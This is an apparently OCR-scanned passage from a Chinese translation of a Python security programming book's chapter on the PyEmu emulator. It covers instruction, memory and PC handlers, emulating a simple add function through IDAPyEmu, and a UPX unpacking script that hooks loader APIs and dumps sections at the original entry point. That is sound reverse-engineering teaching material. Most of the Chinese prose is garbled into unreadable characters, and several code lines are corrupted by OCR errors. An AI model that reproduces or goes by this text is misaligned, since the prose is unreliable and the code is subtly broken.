ERF IR R AL A PR R MR AN AU 3. FE R REFEM 70 e F 6
FE, VR0T LIS R F BT i) ek B A .

set_exception_handler (“GP", gp_exception_handler)

FH LR S i Ak BR8P 7 2 4 PR 72 3K 1) e B0 B8 K e S

def gp_exception_handler (emu, exception,address):

HMMEAN SRR S/ PyEmu X256, 2% cxccptmn Sy Y 1K) S 4 B,

HiuI”J‘[d\?u W SRR, a2 % address WHEF T XN 5% FAE BT R A 0047 B .

B EBHITE
i 4 b P B GERE N R AR 2 (1R 4, PR IR A W AT )5 10 28— Bl izt
TAbFE ., T2 FEFIFERER AT A H Z A M & . Cody 7F 2IME KSR A e s 7 —
AN AE S, BT R 20 A A B AT LU 23— A4S CMP 354 ab FR FE FH A S
BT CMP {82 PATE R 7 LG5 . BB NS MFEEFE, %§8H W F PR

IR

set_instruction handler (instruction, instruction_handler)
set_instruction_handler (“cmp”,cmp_instruction_handler)

T 58 AN R4 A BRI R IR bR BUR R0 F
def cmp_instruction_handler {emu, instruction,opl,op2,o0p3):

B MEAN IS EAAAE AT 10 PyEmu 3261, 2% instruction 1838 T b4 85 {4 FL ALk,
ITHRS, B PR =S8 THAROX &R TR BIN =N ERVERUE.

5. IRIERIALTRHIFE

BAE AR GIRE AT I T N SR BB+ o, SRS e BERIES
AT, MNAEREMD A IEF RSB R HETHES R, BENEH RS TR
SEOMRS RIS H T B BN R — 8 MR IR R AN ), HIAT BRI AS 6] ()
opcode %if5. Hl: $54 PUSH EAX H1#] opcode J} 0x50, TMi$54 PUSH 0x70 fF K H (1)
opcode HI24 0x6A (IL5EHEMTRL MDA 0x6AT0). FE LA opcode 4bBEFIFE, i fH
FH LR 1) o B Y .

set_opcode_handler (opcode, opcode_handler)
set_opcode_handler (0x50, my_push_eax_handler)




Python & #§ F——2 % 5 i %) T 427 &) Python %2 Z ik

set_opcode_handler (0x6A70,my_push_70_handler)

ik L% 2 30 opcode ¥ B A VR Fiv & K 4l 3K VHE'HM’FH. HREER A 25
opcode_handler & [/ /R F 5 SCIRAF RS AL PR BIFERINT . 75 ZEE B /2 B 5L opcode FFAMN PR
FRORBP LT, fRtn] l»iu[uHh AR AR AW —RIMEAN, E Bl =
AT B BT R (I IRRE . T 5 S B Ve A 32 61 7 1) eR BUR B F s -

def opcode_handler (emu, opcode,opl,op2,op3):

KA A HOD 1) PyEmu %901, 58 opeode IE3 T BATIRBIN fir & BAERY,
RUR A S RO T RAFX AR 2 TR 3 B4

6. AFFLIEHIFE

A7 A B B RE AT 45 T BRI AEAE RN AAFAL B B A AF Ul #RE . IR R
i3 e — /D B P BE A AE AT O, e L A 4 R A i () U e B I ) T AR 4R, A
frALERGIFERI RTIR KA. fRAT BRI AT () eR B BOK & L H QN FE AL BE B -

set_memory_handler (address, memory_handler)
set_memory_handler (0x12345678, my_memory_handler)

PRIV BN Z B address WE N IRA EIMCLK A H N A bk, JFREFES K
memory_handler §5 [/ /RI¥) H & LA FEBIFE . PRAGEILHELL R0 R BURKR & AN &k
W A7 AL BRI FE «

def memory_handler (emu, address,value,size, type)

NS EANIRE AT PyEmu S5, 280 address F T 45 SR A< IR N A5 17 ) S 4F & 24E
I E, Z% value RN IEH I EE S AR EdE, ZE size W T 5 A 8E EH
KVEAE MR, B a S8 type A& AN — AN GAYE B A5 B R S VR BUA fr b B 1
FEBO R — —RAFEEBUE & — X NAF B ABRAE.

7. BRATFALEGIFE

e 2 PN A7 Ak B R AR T — AR PN A Ak 3 ) R G B R A AR X AN B PR T — /N
SE WAk, R RN, PRAT BLIA Dk m 2 oA A7 AL BE IR AR AE T Bk
I AFALERBIFE o A0 Ik W S8 A Y () ey 2 N AP AR BRI RS, PR LURHR () I 5 B 46 5 K BT A
WAT. e Al o, RO RE 1 A A7 JJIULJ' % 35 Bh VR X FE e B AR 1) 9 AP B R
OLEAFAER FOW A T#F . B 5 e 8RR W) AR T AN]SR S 22 N A7 &b 2R B 8 1603
it 75 5K

set_memory_write handler (memory_write_handler)
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set_memory_read handler (memory_read_handler)
set_memory_access_handler (memory_access_handler)

set_stack_write_handler (stack_write_handler)
set_stack read handler (stack _read_ handler)
set_stack access_handler (stack_access_handler)

set_heap_write_handler (heap_write_handler)
set_heap_read_handler (heap_read_handler)
set_heap_ access_handler (heap_access_handler)

BT AT I 2 pR O R AR A — AN IR AL R BIFEAF D ME RIS 8, IX AN 01 ok HO 75
55 VR i 391 B R R DT AC ) P37 U ) S50 R A I R0 P A2 0 A B 91 2 2 4 SRR DA 45
) = b o B R R e X

def memory write_handler (emu,address) :

def memory_read_handler (emu, address) :
def memory_ access_handler (emu, address, type) :

b e #(B| 2 memory_write_handler Y5 memory_read_handler #4534 A1) PyEmu 5£
BICL K o —A~ 24 address, TR Ao E SEVERT BN E . s —MESE
Iz N f7 AL B2 5] FE memory_access_handler (1) R B 2 RIS H A AR, XA REIHE
NS ZE type, XSS HOE A N — AR VE ) 745 8ok 8 S UR A N A7 U i) 16
PIRA

8. B it#samsiz

RV AR A BB SRV IRAE O LR P BT RO 2 — e L B AN, X Rk
R IPAT B 5 — AN s O Bk A A N ) T B B A FE ) Bk VR . [ A 2 A )
ARERGIFE, AR ACERGIRE MR T kiR, iERAESEAE HARFE R R R AnhiEnt
N B EZE—ANFEF I EER A ER B R, R R B i ol B B

set_pc_handler (address, pc_handler)
set_pc_handler (0x12345678,12345678_pc_handler)

R 51 7 At ot OB B — A8 U0 00 9 A7 Mk DA B — /S AR R () (B R B BR AT, 2488 it
HEFPHER X — WAL E R, TRETHEE R BN 32 . BT s A R
TR IRT B R BT RE X

def pc_handler (emu,address):

AHBATERHR, REEEEHE DS EARL 4571 PyEmu 5261, YO 2457
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U5 ELIO AT T W A .
2HEMTCE MR R T PyEmu 1 L4844 28 554 I 3 SLHE AL 4 T K pR
fi T PRVELA AR, T AR A IR SE ()33 ) 3 5 ) RIE R PyEmu (KR

12.3 IDAPyEmu

£ H 7 AT AE IDA Pro FREEF & —4> 3 HIREE SO/, Bl S A5 Bh
PyEmu A7 51—/~ S e 0 A o #2 . 783X B 3RAT1 ik F ) 33k UL 9] S addnum.exe
AT C++IF R MM 5 BF. Al BL7E B A B35 (M
http://www.nostarch.com/ghpython.htm FKHL ) $£ 23X — H3E 6l S04k BL KA S 3 5 S0 4
A/ JF"'J:]"F}"HT-Lﬁ'igﬁ"Fﬁ‘-’ﬁﬁ”l’f’]ﬁ"ﬁ—unu 24T S HU T IR N 5 0 Rl %ﬂkﬁl#
e R . ERNEF TP RICHE B 280, iERA1ERE —IRXA 3t H o
IVJJQF‘%:

addnum.cpp

#include <stdlib.h>
#include <stdio.h>
#include <windows.h>

int add_number( int numl, int num2 )
{

int sum;

sum = numl + num2;

return sum;

- main(int argc, char* argv([])

int numl, num2;
int return_value;

if( arge < 2 )

{
printf("You need to enter two numbers to add.\n"):
printf ("addnum.exe numl num2\n");
return 0;




% 12% PYEmu A X5 LB

numl = atoi(argv([1l]);
num2 = atoi(argv[2]);

return_value = add_number( numl, num2 );
printf("Sum of %d + %d = %d",numl, num2, return value );

return 0;
}

XA B () /MR 1 58 A 24T 3R HCK 5 S 2 250 0K 0 59 K 0 48 e A I 1) 4 7Y R
@, A4 83 add_number@iFE47 KA. 0] LLF 51 pR #L add_number (¥ S AE ¥ fa] 5,
I HLILR [Pl 45 50 5 THAE, PEA 1R BOXAS e BOHERA T SO %, X225 21
20 ] PyEmu 0 ELR G — Mokl £ .

F ik A 1% E — F B add_number Z800 4 PR 2 J5 9 —BEHIE A&, FIK 12-1 AR
LT IDA Fri s atrai .

53 12-1: R add_number BIERTS S ITE R

var_4= dword ptr -4 # sum variable
arg 0= dword ptr B8 # int numl
arg_4= dword ptr O0Ch # int num2

push ebp

mov ebp, esp

push ecx

mov eax, [ebp+arg 0]
add eax, [ebp+arg_4]
mov [ebp+var_4]1, eax
mov eax, [ebp+var_4]
mov esp, ebp

pop ebp

retn

I AE C++IERL S B 4RI gRTe 2 FF R 2 A Eexd, FRATTZ 2D aT X 4 3% 8% 45 24
o B AN B e T ARG dn— . T ERATTE AR A ] PyEmu K4l ¥ add_number B £ (1)
SEER AR, XA SRR AT AR T B RS B AR, SRR B A R LA R arg O
Y arg 4 (A, RIGARBINITRIIES retn I ZIHE EAX A28 P AIAE. K
EAX A as IE S A/ AYCKFESM S R E . REFXNEF VR E kil 4 o, B2
‘EHIBE I VRTE H 5408 S 52 4% 1) o8 B0 BLER A — RS A 4 -
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12.3.1 HB¥AE

) PyEmu BIA K8 — Pt R R IR Effih & T PyEmu Fr7Efeg4s, BAEEIE—
AP Python A, ¥ 3L Ay 4% 4 addnum_function_call.py FF4 A LL T HIACHS.

addnum_function_call.py

import sys
sys.path.append(“C: \\PyEmu”)
sys.path.append(#C: \\PyEmu\\1lib")

from PyEmu import *

-HIRATTRE RS B D N3k PyEmu B8RS, 8 FRBUERNTBETF MR 2] 17 . h 78
oL H b el B R PR, FRATT Ry o0 7R B BB SO AR B R B B, XA ITIX
W AN FLAF AT STAT 45 0 (AR 5 803 k¥ . 78 IDA Ao — 355 S & A B il 7
e Bt 26 IDAPython bR £ 1 F (45 5¢ IDAPython 12 75 ZERIBT L E Al LS5 11
). ikIAIGkSE 17 addnum_function_call.py JIAINA LA FACHS.

addnum_function_call.py

@® emu = IDAPyEmu ()

# InE B E SR A ES B
code_start = SegByName(".text")
code_end = SegEnd( code_start )

@ while code_start <= code_end:
emu.set_memory( code_start, GetOriginalByte(code_start),
code_start += 1

print "[*] Finished locading code section into memory."

# BN H R ] SO R BEE B
data_start = SegByName(".data")
data_end = SegEnd{ data_start )

@ while data_start <= data_end:

emu.set_memory( data_start, GetOriginalByte(data_start), size=1)
data_start += 1

print "[*] Finished loading data section into memory."
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% 12% PYEmu—WARERHAFALSE

B RRAT9BIAL 4 IDAPYEmu R Q), XX SR A FATHAE— VIO ST 75 1 Rl D
PR PR TRATT T Bk I SO b AL B @ 5 B Bt @B A tH PyEmu 71 57 4EH IR N A7
ZH e R T e A 15 B IDAPython A% SegByName()H 5& 407 AH MY ¥ B 15 Huhk,
UL B eR B0 SegEnd )l s AH N (K B R bl 2 Ji FRATT 3 5 7 B b 3 1) 4 A B 88 71 1Ky
AN LB NfET . BRBITA T VIAPITEF AR EM RS EE,
T RBAVARE M B PR R B0 B LS80, JF8F—/MRA A HEEF T8k
RAEAG 5E L5 retn 52, Bn AT R BT UH0AT . BRLE [ FR I A e In A LU R
X559

b RE ETP HAEE, (EIIE R AR, S b
@D emu.set_register ("EIP", 0x00401000)

# BOLIRSAREBIRE, DA THIR ret f54

G@ emu.set_mnemonic_handler("ret", ret_handler)

# AARKREAR R EANAS
() emu.set_stack_argument (0x8, 0x00000001, name="arg_0")
emu.set_stack_argument (Oxc, 0x00000002, name="arg_4")

@ # Hir@Bk—3td 10 £35S HE

emu.execute( steps = 10 )

print "[*] Finished functicn emulation run."

HCRATVEAL EIP %5 47 4845 17 HAREAECL —— 47T 0x00401000 ), iX W4 PyEmu
s CASEACE A ACHSPAT I o 32 PRI E —NMES Bhic Fr b S F2, — B H b ek $odh,
1T#6% retn @IAEEMH], ESBFRNGEIEGIFEBE A B= 580 2 kB 1
BRE B LS ENEG, R TTEA AR R B0 R A RS, 7R XA T
R A4 HIE R 0x00000001 F1 000000002 15k 25l . 451135515 EL 24047 H bk
BAAP A 10 452 . B R AT E N BURE 564510 retn 15240 B — M4 1 b 204 75,
A addnum_function_call.py [ 5 £ RiCA Y 2440 F B :

addnum_function_call.py

import sys

sys.path.append ("C:\\PyEmu")
sys.path.append ("C:\\PyEma\\lib")
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from PyEmu import *

def ret_handler(emu, address):

(1) numl = emu.get_stack_argument("arg 0")
num?2 emu.get_stack argument ("arg 4")
sum = emu.get register ("EAX")

print "[*] Function took: %d, %d and the result is %d" % ( numl, num2, sum)

return True

emu = IDAPyEmu()

I R S A B
code_start = SegByName(".text")
code_end = SegkEnd( code_start )

while code start <= code_end:
emu.set_memory( code_start, GetOriginalByte(code_start), size=1 )
code_start += 1

print "[*] Finished loading code section into memory."

# AR R SO B B
data_start = SegByName (".data")
data_end = SegEnd( data_start )}

while data_ start <= data_end:
emu.set _memory( data_start, GetOriginalByte(data_start), size=1l)

data_start += 1
print "[*] Finished loading data section into memory."

# WHE EIP RSN, IR HiFmBEL, LUt HATE S

emu.set_register ("EIP", 0x00401000)

# WE - MES LB T3R8 4 retn

emu.set_mnemonic_handler("ret", ret_handler)

# AU R B0 Y B A R B S HUE

emu.set_stack argument (0x8, 0x00000001, name="arg 0")
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emu.set_stack_argument (0Oxc, 0x00000002, name="arg_4")

# HbreR Bk —Iteh 10 IR

emu.execute( steps = 10 )

print "[*] Finished function emulation run."

BACHE L A FEGIFE ret_handler 5 J2 ] 5t WAR E[BIHL H & Z5{H LS AF T EAX
AL PSR, JFU AR . B7ELLIRIIRR S — F Rk, 8554 IDA 3
B FER HEHISCMF addnumeexe, FFRFFRATIN PyEmu BIANLAE AN HLK IDAPython i
AAE IDA FiEFT GEAZ T ERIF EEES 0 11 3. HEE BIWns)E 12-2 Fros i
S

Pl 12-2: BAMERTRMAFTHRLHANESR

[*] Finished loading code section into memory.

[*] Finished loading data section into memory.

[*] Function took: 1, 2 and the result is 3

[*] Finished function emulation run.

R T, AR ? AR LU B ek B0 FUBA i Th i 3K 7 8k LS8, Ji
76 R B0 H 45 R 2 AR U EAX 77 a8 (BIBANMER B8 7)) 1018 . BATE R E 4
LR EEAFE ) B ERSATF, M EE LS LA B ) R HOF O SUE TR A
bR, ARG RO AR R e ik, LR AEVR M H AR R B & i E T4,
I I KRR 3 TR ETH LU R o A ) R BOR ] s T 00 T o i) el 2 0 S0 F
15 1) 53 K F- BB s K () 3 AR AE AT LUA PR T B i (92 i ali fal . 765 i i) — AN
FIRATTREE ] PEPYEmu T2 K] nl 047 SO AT IR 5e .

12.3.2 PEPyEmu

PEPyEmu [a) /324 T 5 —Fh 52 2372 T IDA Pro ZAMAFEA 1242, PEPyEmu
Aefe QAT RIS SO g, & BRI B B LA N AR, LR AE pydasm T _HFEH)
T SE RO A I HE 2 WS T4F . BAAEIRAT¥ # PEPyEmu & LStz s, 5
YO BT 58 MIRTHAT SO TACIE . RO A B IRATT I G4 R 7 3088 SR AR SRR T
PIRATIELRE, FFAE e 0 FE 58 O 575 (P B 0] #4548 HY— AN se i () — BRI AT P47 0. X
THIRATIATIEH 9 in5e T H 24 UPX® (The Ultimate Packer for eXecutables) —— & 1T 1)
JFIRINFCAR, ARE HEEE KA MR e X 3R R 0 A Cd T 8, I PU R

(U UPX(The Ultimate Packer for eXecutables)/if15 & o] LL7E A FRHL:  hutp://upx.sourceforge.net/.

——




Python % #§ -+ —— 2 % 5 i &) T42 ) 49 Python %42 Z il

WA ROV . HAeRFTEET Emseds A5 LR e EAR TR, RATLE
KA RS —3E UPX O insel#, Bl 3RA1158) i Cody Pierce T4 5l i il i) PyEmu B4
KX AT AT SCAFBEAT IS, IR IR I R B L A R SR . — HIRAT R ¥
il RN AFBER, X RRRAT IR ST AR AL 57 PR K H s B T BURTS T IR A A L.

12.3.3 AT INFERS

Al AT SIS Rs Bl E R4 38, AEXMT YR R OARM AFHNFEY T, e
BAT B B H )2 T 4R T AT SO AR R, DU LRSS M 9K 1.44MB (F1E R
TR, ARMBEENE AR, XFEREHEDE N FEORLIRESR FRATTAEZE
BAAEER 2 m) . — 3 R A n 5 280 3 2 B s 4 H bR — 3k W S R A AR B 5 3
#BL IR AN A BRI AL E . R E BT XA R SR,
I ) J3 8 ) R i S A BAT, I SS 0 B K 7E N AR 4k R It R, IRAE 2 e Bk
PR ) OEP (Original Entry Point (485 ) A&, —HEFHHITH FE OEP
REEWE BT T EFE L EMEREIR, E EbaFE R m R 2500 X4

SO SERF AT CAZ . MIEGE R A G LT Se AT SO, 3 R A B A T X

o AEIX 2 50 F 0 3 B SC A B T, AR EA MR ET . WA TR
H PR ) TREIFZ AR e AT, R EE S EE L LV E LS A EAS
Ly B OAEFEL H IR SRR B2 4 Bl S N AR PR s b, I A2 A 1R 88 ok il 7% th AR 15 &
Jon VR HE 55 R X IE R SRR T U ARy, PR ST AT ek B A L9
AW BATA 0 PR 28 P NERAE, BT LATRAT L 75 187 3 1tb 1 0 BC 884047 B ARSI A5 =4
P () R e B AR AT SE BE BRI AT . 7EFE R SRl R Se ) RIS, AT S T B ix st —
HET B e R R SO, S R AT DK A 5 R U 28 a5 1R IDA Pro iX—3
IEpa T TR,

ki IATTEAE ] UPX X SE 38R calc.exe #4755, JLPAT—RAS K] Windows #it
WA XA ATHAT IO, Bl RIS PyEmu BIASH 341 E O TR HI 00 90 i B 5%,
I 45 Bl B R S h . XFPER B AT AR PR T X AR R (N 5e 28, oaX N fa) B
AIB AT LLFE 29— N AR IR A, R H S S 58 A 4 i n 55 53 FE 4 BLiI4T F 3Rt

12.3.4 UPX mn=4=z%

UPX & % 2% () TR T S AT C N 55 8%, FFi&EH T Linux 5 Windows “F & L& HiAth
REZRRIE T AT . UPX SCREAN R 0 4R 80R . I3 4E T 285 - 88 (R 10k 75 By
RN IR, & FIE 4, BATKEESHS UPX gt AE4 L, §F
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FHAth UPX B4 () Ak 22 3L Tt B 45 13 BAT I 9
7EFRATIIFEETT, M UPX 3 H = http://upx.sourceforge.net 3 —3k UPX N5Edf.
KR F#sen Zip XMHBEEMR EF C:F, #T UPX 2 H A EHARPMER GUI
il KRR EMNGLT FIFE UPX BF. AT — M@ & it U1 s UPX N
SRR FTLE B2 ——C\upx303w\, HRIALL Fir4.

C:\upx303w>upx -o c:\calc_upx.exe C:\Windows\system3Z2\calc.exe

Ultimate Packer for eXecutables
Copyright (C) 1996 - 2008
UPX 3.03w Markus Oberhumer, Laszlo Molnar & John Reiser Apr 27th 2008

File size Ratio Format
114688 -> 56832 49.55% win32/pe calc_upx.exe

Packed 1 file.
C:\upx303w>
EoR i 24 D BATVE R — NIRRT BRI THRER CF . a4k
HTHEHEEERAWTEFRFAL, EXN0 FPEINNE LRSS RRFN
calc_upx.exe. BAMTCOLEIEME T A LT 52fmifExF, FlE2#82 PyEmu XS
IR T, ibIRATIT LR Sbd !

12.3.5 #|H PEPyEmu it UPX &

UPX In5c 8% nl $0AT SO B R 00 4 7 sXnT 18 i O T 3, Bl JE A T T AT 3C
RPN D g, CAESLER M AN B S22, B8 N5 8% m) — 3EHI SCR In — 4> B & X
B, XHANBOM#MZA UPX0 M UPX1. RATPOKIXAS BT 76 M AT $04T SCAF 8N
Immunity Debugger Jfillid N7 R RPLE (AgH ATL-M) XK&F HIRERFEAfFH 2

tidl, VRREE 3] B PR A fE R 551K 12-3 B 15 5L R L

F|3%k 12-3: —HE (UPX) BEMNAESHIER

Address Size Owner Section Contains Access Initial Access

00100000 DO001000 calc_upx . PE Header R RWE

01001000 00019000 calc_upx UPXO0O 1 RWE

0101A000 00007000 calc_upx UPXI1 code I RWE

01021000 00007000 calc_upx TSTC data,imports,resources RWE




MBI 12-3 P RATATUAF H UPX1 A — MU B, M FeflFEsEfs b IE 24 UPX N
Teas 2B T, BEEAFERFA L SR A TEANBRP R FEFIRE. a5t ERAT %
ghnt, e AN IMP 54 Bk AT TR UPXD B, JRdEAS] “BIE” #) 3 H4RY
i, T TS ICAT I A fy P . DRI FRATT S 5 Lk BT 2% 95 A5 T3 5 40 2 ) o2 — B Bk,
TFZE, ABBATRIE A H S R UPX1 BLZ b1 IMP 54, Xt k4 A
IE S AE ] BAT U R A A D i kb

RAEBRNCEA T 3T UPX Feyal $AT3CF, Fmst ik &A1 8 PyEmu {4 3
K TE R e S RS I i T AE . X RIS H B30 PyEmu AEHROR MR ok o)
Bo ATIF—/N B Python BIA S, ¥ A 44 4 upx_unpacker.py, FFHIA L FALHS:

upx_unpacker.py
from ctypes import *
# R ETERBERLERS, WA pyEmu BURFTE B
sys.path.append("C:\\PYEmu" )
sys.path.append("C: \\PyEmui\\1ib")
from PyEmu import PEPyEmu
# MM LITS2H
exename = sys.argv[l]
outputfile = sys.argv([2]
# BB R
emu = PEPyEmu ()
if exename:
# B RSO PyEmu {1 I8
@® if not emu.load(exename) :
print "[!] Problem loading %s" % exename
sys.exit (2)
else:
print "[!] Blank filename specified"
sys.exit (3)
@ # VBRI & B B 2
emu.set_library_handler ("LoadLibraryA", loadlibrary)
emu.set_library_handler ("GetProcAddress", getprocaddress)
emu.set_library_handler ("VirtualProtect", virtualprotect)
# ERAEFALL(OEP) B FW A, LUETIRATEAT 33k IS 5%
() emu.set_mnemonic_handler( "jmp", jmp_handler )
# MR O ATF AT

@ emu.execute( start=emu.entry_point )

HAERATR LT 5 HAR SO PyEmu (5 I8 @, RIFRAT 3414038 s %
WFEFIFE@, HT#AKFTfi {8 LoadLibraryA. GetProcAddress L& VirtualProtect [ 5%
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% 12% PYEmu AR X5 AE

W] . 3X = ANA B R B S W B S B FE BT A FH 3], DRI 3R AT A B OR AR AR AT T £ e 1 A
SRR B TR S, HRIHIA MR ESECh 2 MiE A EIERSNEER S . TP
R J2 % O 5 9 2 1) 52 &5 - AE R P Bk S 2 OEP £ (AR IR N, A e IRATT 7 B i e
NEDCFF AL B R R R IX A IMP 1684®). fEmEs VIR TEZ)E, BATAH iR
25 AT HAT ST N D S P AR PRAT B AT @) . 1 i Lk JRATTAM 4 A I ) #1508 2 oy 5 4 32 31 2 LA
B Aa 2 A BpIRE, REmALL FAS:

upx_unpacker.py

from ctypes import *

# MIREMBPEM pyEmu B BT 7E M AT
sys.path.append("C:\\PyEmu")
sys.path.append (*C:\\PyEmu\\1lib")
from PyEmu import PEPyEmu

HMODULE WINAPI LoadLibrary (
__in LPCTSTR lpFileName
¥z

(@ def loadlibrary(name, address):

# MEREUER EAREY DLL SCHF M S 8K
dllname = emu.get_memory_string(emu.get_memory (emu.get_register

("ESP") + 4))
# WA HIEM LoadLibrary BRECHA, IR EOR PIE
dllhandle = windll.kernel32.LoadLibrarya (dllname)
emu.set_register ("EAX", dllhandle)
¥ BIERIGH F AR 5RO F R0, R5ER
return_address = emu.get_memory (emu.get_register ("ESP"))
emu.set_register ("ESP", emu.get_register ("ESP") + 8)
emu.set_register ("EIP", return address)

return True

FARPROC WINAPI GetProcAddress |
__in HMODULE hModule,
__in LPCSTR lpProcName

1z

@) def getprocaddress(name, address):
# MeRERR AN a11 WS SR
handle = emu.get_memory (emu.get_register ("ESP") + 4)
proc_name = emu.get_memory (emu.get_register("ESP") + 8)




Python % 18 F——2 % 5 i# &) T A2 Jf 49 Python 42 2 i

# 2% 1pProcName A[fEM FE — N BREFBEE —INFH{E, # lpProcName Ml
# L7k NULL 1, 02 o A R B
if (proc_name >> 16):
procname = emu.get_memory_string(emu.get_memory (emu.get_
register ("ESP")+ 8))
else:
procname = arg2
# EDT FORS P IS naX A~ 5\ B0 B0 B A R Al 3 A\ bk
emu.os.add_library(handle, procname)
import_address = emu.os.get_library_address (procname)
# 3% (0] o B T A HhE
emu.set_register ("EAX", import_address)
# BIEBIRH 78 SR 4 TS MM IR ]
return_address = emu.get_memory (emui.get_register("ESP"))
emu.set_register ("ESP", emu.get_register("ESP"} + 8)
emu.set_register("EIP", return_address)
return True
BOOL WINAPI VirtualProtect(
__in LPVOID lpAddress,
gl SIZE_T dwSize,
__in DWORD flNewProtect,
__out PDWORD lpflOldProtect
3
@ def virtualprotect (name, address):
# —iE[E TRUE
emu.set_register ("EAX", 1)
# BIEtRIEE 518 F A B IFR ]
return_address = emu.get_memory(emu.get_register ("ESE"))
emu.set_register ("ESP", emu.get_register ("ESP") + 16)
emu.set_register ("EIP", return_address)
return True
# MEFEFRERITSEES, 18R OEP AR JMP 544 BUE X /Mo P vk 8
@ def jmp_handler (emu, mnemonic, eip, opl, op2, op3):
# W74 HT RIS A AR A8 R 4R e OEP A :
if eip < emu.sections["UPX1"]["base"]:
print "[*] We are jumping out of the unpacking routine."
print "[*] QEP = 0x%08x" % eip
# OREIE T RS A B R e B S
dump_unpacked (emu)

# BLAEBRATTAT DL 115
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emu.emulating = False
return True

LoadLibrary R EUGHFEIFEO 1 Je MR EFRIUH DLL SCHEF AR, S8 RA15E) ctype
PEM)E—NJLIE () LoadLibraryA bR A0V . AKX 2 2R H0M HH (13 RIE A7\ EAX % 17
e, BIEYATHIRE A 2R {E, HEE BIP Firas i R Mg P Hhl, PIBER
AT 2 ) A0 30 ef B3R AT IR [7] . GetProcAddress pf #A4b FE 1FE @ a0 Hy gty stk K BHIMRL, 2756
SRR EUER LI A2 5, LU E AN I IEM) GetProcAddress BRECHH], X ANh i ek %
tHA) AR IE kernel32.dll T . FRATEEMRT 1) B8 BCT A HUHEAE IR [ 25 A7\ EAX %
fra%, ARG FFPEE ¥R 5 IRIP].  VirtualProtect p&E04bBE G FE@ ) HL 7 — g A —A4~
True {8, I/ RARIEE JEIRA. A2 Bl A #EE— I IEM) VirtwalProtect e8 %38 H
KR AEX BIRADFEA R N AA U TR, PURERAT I 7 il — A B2 o
BB RS UL VirtualProtect b8 $0i I EI AT . Mi3ATTK) IMP $54 BB @ L X4
il AR B BBk FE 452 HEAT R, CARI SR BRI UPXY BLUAAM sk, #5150 W,
FEAT1 £ Bh % B dump_unpacked ¥ 157 5 ) - BEBIEE S B RS Sc . e SRR
PR S AT AR, A IRATIM H i C&iE k.

B Ja BATA T 4b L8 A1 F2 dump_unpacked (K1 5280, o418 30 22 40 A SO B )

upx_unpacker.py

def dump_unpacked(emu) :
global outputfile
fh = open(outputfile, 'wb')

print "[*] Dumping UPX0 Section"

base = emu.sections["UPX0"] ["base"]
length = emu.sections["UPX0"] ["vsize"]

print "[*] Base: 0x%08x Vsize: %08x" % (base, length)

for x in range(length):
fh.write("%c" % emu.get_memory(base + x, 1))

print " [*] Dumping UPX1l Section"

base = emu.sections["UPX1"] ["base"]
length = emu.sections["UPX1l"] [*"vsize"]
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print "[*] Base: 0x%08x Vsize: %0Bx" % (base, length)

for x in range(length):
fh.write("%c" % emu.get_memory(base + x, 1))

print "[*] Finished."®

FATTHT T B DU R 1 UPXO0 5 UPX1 B S — A scthrh, X5k b i
AN SE R R) o S BRATHE AT LR 1 B (R ik 4 AR B 1 IDA — 2K (i A& T
Hop, IRERIEZ S I EARR & B S S i3 LU s, BaEiERNMMGAIT
BATEAM WA, 7R8E R 55)% 12-4 ol BHAURHHER.

53k 12-4: BRFEBIZA upx_unpacker.py ZEH ST TH{ERAR

We are jumping out of the unpacking routine.
QOEP = 0x01012475
Dumping UPX0 Section
Base: 0x01001000 Vsize: 00019000
] Dumping UPX1l Section
Base: 0x0101a000 Vsize: 00007000
Finished.

(EAMAT ST, PRI Y] AFE C 80 H 3 F 4R E— N B S0 cale_clean.exe, X4
S-S T B A T $0AT SUAF calc.exe AL BT (S EAICHS . IRAE %R B AL
SR T, 220K PyEmu [ FH 318 A4S [8] (1308 1541 4% v o0 !




